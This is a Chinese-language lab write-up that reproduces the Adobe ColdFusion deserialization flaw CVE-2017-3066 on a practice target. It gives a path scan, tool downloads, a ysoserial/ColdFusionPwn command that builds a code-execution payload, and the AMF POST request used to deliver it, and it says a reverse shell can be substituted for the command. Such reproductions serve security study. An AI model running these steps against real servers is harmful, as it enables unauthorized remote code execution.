Adobe ColdFusion 反序列化漏洞靶场复现（CVE-2017-3066）

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

---

简介

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响：Adobe ColdFusion (2016 release) Update 3及之前的版本，ColdFusion 11 Update 11及之前的版本，ColdFusion 10 Update 22及之前的版本。

---

提示：以下是本篇文章正文内容，下面案例可供参考

一、漏洞复现

可参考Vulnhub官方复现教程
https://vulhub.org/#/environments/coldfusion/CVE-2017-3066/

开启环境

访问url后发现为404，注意：并不是靶场问题。可以使用nikto工具进行敏感路径探测。

nikto -h http://219.153.49.228:40275 //路径探测

这里可以看出存在一个/CFIDE/administrator/index.cfm


由于没有密码所以登录不了

CVE-2017-3066漏洞复现

使用ColdFusionPwn工具来生成POC。

工具下载：
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
wget https://github.com/codewhitesec/ColdFusionPwn/releases/download/0.0.1/ColdFusionPwn-0.0.1-SNAPSHOT-all.jar

使用命令生成poc，由于在靶场简介上写着网站的绝对路径跟key文件的路径所以这里我们可以使用cp命令来将根目录下的key文件复制到wwwroot目录下的key.txt文件里面
'cp /KEY.txt /opt/coldfusion11/cfusion/wwwroot/key.txt’里可替换为其他可执行命令并生成poc如反弹shell命令，但此靶场并不能弹shell，但通过自己搭建的靶场可以看出需要反弹shell的话需要bash加密

java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'cp /KEY.txt /opt/coldfusion11/cfusion/wwwroot/key.txt' poc.ser

注：复现此漏洞需要低版本的burp进行，我这里用的是1.6版本的burp
把刚刚生成的poc文件导入到burp里，再把Content-Type字段的内容改为application/x-amf
数据包poc：

POST /flex2gateway/amf HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2884

[--poc--]

漏洞说在位置为/flex2gateway/amf，使用POST请求方式，导入poc文件时不要用复制粘贴，用burp进行导入，如下：

发包后就可以直接访问key.txt文件获得key，key为：mozhe0f606630141b5f2385502cb67f6

如果访问不了请多试几次也可以换成其他的命令生成poc